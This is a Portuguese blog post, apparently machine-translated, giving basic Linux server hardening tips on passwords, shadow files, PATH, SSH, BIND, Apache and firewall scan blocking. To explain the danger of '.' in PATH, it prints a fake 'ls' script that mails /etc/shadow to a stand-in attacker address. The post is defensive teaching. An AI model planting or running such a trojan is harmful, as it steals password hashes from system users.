Dicas de segurança para o seu Linux (servidor) (parte 1)

Há muito tempo não publico nada no blog e gostaria de compartilhar com vocês alguns conselhos tirados de um livro que, (entre outros). Encontrei-o na Universidade e acabei de ler e, embora esteja honestamente um pouco desatualizado e as técnicas mostradas dificilmente funcionem devido à evolução do sistema, também são aspectos interessantes que podem ser mostrados. 9788448140502

Quero esclarecer que são conselhos orientados para um sistema Linux que seja utilizado como servidor, em média ou talvez grande escala, já que no nível do usuário desktop, embora possam ser aplicados, não seriam muito úteis.

Também observo que são dicas simples e rápidas e não vou entrar em muitos detalhes, embora planeje fazer outra postagem muito mais específica e extensa sobre um determinado tópico. Mas verei isso mais tarde. Vamos começar.

Políticas de senha. 

Embora pareça uma frase de efeito, ter uma boa política de senha faz a diferença entre um sistema vulnerável ou não. Ataques como "força bruta" se aproveitam de uma senha incorreta para acessar um sistema. As dicas mais comuns são:

  • Combine maiúsculas e minúsculas.
  • Use caracteres especiais.
  • Números.
  • Mais de 6 dígitos (esperançosamente mais de 8).

Além disso, vamos considerar dois arquivos essenciais.  / etc / passwd e / etc / shadow.

Algo muito importante é que o arquivo / etc / passwd. Além de nos fornecer o nome do usuário, seu uid, caminho da pasta, bash .. etc. em alguns casos, também mostra a chave criptografada do usuário.

 Vejamos sua composição típica.

desdelinux:FXWUuZ.vwXttg:500:501::/home/usuario1:/bin/bash

usuário: cryptkey: uid: gid: caminho :: caminho: bash

O verdadeiro problema aqui é que este arquivo em particular tem permissões -rw-r - r– o que significa que ele possui permissões de leitura para qualquer usuário do sistema. e ter a chave criptografada não é muito difícil de decifrar a verdadeira.

É por isso que o arquivo existe / etc / shadow. Este é o arquivo onde todas as chaves do usuário são armazenadas, entre outras coisas. Este arquivo possui as permissões necessárias para que nenhum usuário possa lê-lo.

Para corrigir isso então, devemos ir para o arquivo / Etc / passwd e alterar a chave criptografada para um "x", isso só salvará a chave em nosso arquivo / etc / shadow.

desdelinux:x:500:501::/home/usuario1:/bin/bash

Problemas com o PATH e .bashrc e outros.

Quando um usuário executa um comando em seu console, o shell procura esse comando em uma lista de diretórios contida na variável de ambiente PATH.

Se você digitar "echo $ PATH" no console, a saída será algo assim.

.:/usr/local/bin:/usr/bin:/bin:/usr/bin/X11:/usr/games:/home/carlos/bin

Cada uma dessas pastas é onde o shell irá procurar o comando escrito para executá-lo. Ele "." significa que a primeira pasta a procurar é a mesma pasta de onde o comando é executado.

Suponha que haja um usuário "Carlos" e esse usuário queira "fazer o mal". Este usuário poderia deixar um arquivo chamado "ls" em sua pasta principal, e neste arquivo executar um comando como:

#!/bin/bash
cat /etc/shadow | mail hacker@mail.com
/bin/ls

E se o usuário root para coisas do destino, tenta listar as pastas dentro da pasta carlos (como ele primeiro procura o comando nessa mesma pasta, inadvertidamente ele estaria enviando o arquivo com as senhas para este e-mail e então as pastas seriam listadas e ele não descobriria até muito tarde.

Para evitar isso, devemos eliminar o "." da variável PATH.

Da mesma forma, arquivos como /.bashrc, /.bashrc_profile, ./.login devem ser auditados e verificar se não há "." na variável PATH, e de fato a partir de arquivos como este, você pode alterar o destino de um comando específico.

Dicas com serviços:

SHH

  • Desative a versão 1 do protocolo ssh no arquivo sshd_config.
  • Não permita que o usuário root efetue login por ssh.
  • Os arquivos e pastas ssh_host_key, ssh_host_dsa_key e ssh_host_rsa_key devem ser lidos apenas pelo usuário root.

LIGAR

  • Altere a mensagem de boas-vindas no arquivo named.conf para que ele não mostre o número da versão
  • Limite as transferências de zona e habilite-as apenas para as equipes que precisam.

apache

  • Evite que o serviço exiba sua versão na mensagem de boas-vindas. Edite o arquivo httpd.conf e adicione ou modifique as linhas:  

ServerSignature Off
ServerTokens Prod

  • Desativar indexação automática
  • Configure o apache para não servir arquivos confidenciais como .htacces, * .inc, * .jsp .. etc.
  • Remover páginas de manual ou amostra do serviço
  • Execute o apache em um ambiente chroot

Segurança de rede.

É essencial cobrir todas as entradas possíveis em seu sistema da rede externa. Aqui estão algumas dicas essenciais para evitar que invasores digitalizem e obtenham informações de sua rede.

Bloquear tráfego ICMP

O firewall deve ser configurado para bloquear todos os tipos de tráfego ICMP de entrada e saída e respostas de eco. Com isso você evita que, por exemplo, um scanner que está procurando um equipamento ligado em uma faixa de ip o localize. 

Evite a varredura de ping TCP.

Uma maneira de fazer a varredura em seu sistema é a varredura de ping TCP. Suponha que em seu servidor haja um servidor Apache na porta 80. O invasor pode enviar uma solicitação ACK para essa porta. Com isso, se o sistema responder, o computador estará ativo e fará a varredura no restante das portas.

Para isso, seu firewall deve sempre ter a opção "reconhecimento de estado" e deve descartar todos os pacotes ACK que não correspondam a uma conexão ou sessão TCP já estabelecida.

Algumas dicas adicionais:

  • Use sistemas IDS para detectar varreduras de portas em sua rede.
  • Configure o Firewall para que ele não confie nas configurações da porta de origem da conexão.

Isso ocorre porque algumas varreduras usam uma porta de origem "falsa", como 20 ou 53, já que muitos sistemas confiam nessas portas porque são típicas de um ftp ou DNS.

NOTA: Lembre-se que a maioria dos problemas indicados neste post já foram resolvidos em quase todas as distribuições atuais. Mas nunca é demais ter informações importantes sobre esses inconvenientes para que eles não aconteçam com você.

NOTA: Posteriormente verei um tópico específico e farei um post com informações muito mais detalhadas e atuais.

Obrigado a todos pela leitura.

Saudações.


Deixe um comentário

Seu endereço de email não será publicado. Campos obrigatórios são marcados com *

*

*

  1. Responsável pelos dados: Miguel Ángel Gatón
  2. Finalidade dos dados: Controle de SPAM, gerenciamento de comentários.
  3. Legitimação: Seu consentimento
  4. Comunicação de dados: Os dados não serão comunicados a terceiros, exceto por obrigação legal.
  5. Armazenamento de dados: banco de dados hospedado pela Occentus Networks (UE)
  6. Direitos: A qualquer momento você pode limitar, recuperar e excluir suas informações.

  1.   computador dito

    Gostei muito do artigo e estou interessado no assunto, encorajo vocês a continuar enviando conteúdo.